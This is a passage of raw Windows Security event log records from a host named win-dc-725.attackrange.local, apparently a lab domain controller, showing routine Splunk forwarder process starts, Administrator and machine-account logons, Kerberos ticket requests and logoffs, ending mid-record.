C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253766 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253765 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x541A8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253764 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x541A8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253763 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:51:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=253762 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:51:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253767 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253768 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253769 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253773 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253772 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253771 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=253770 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253784 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x58CAD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49702 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253783 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x58CAD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253782 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {346824AF-0CB8-C5F8-7BC7-9C74DCACA240} - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x60810010 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253781 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x58AA5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49701 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253780 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x58AA6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49700 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253779 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x58AA6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253778 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x58AA5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253777 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {346824AF-0CB8-C5F8-7BC7-9C74DCACA240} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253776 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {346824AF-0CB8-C5F8-7BC7-9C74DCACA240} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253775 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: ATTACKRANGE.LOCAL - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253774 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: ATTACKRANGE.LOCAL - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253879 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x61DDE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253878 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63E00 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253877 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63EA5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253876 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x63EA5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process 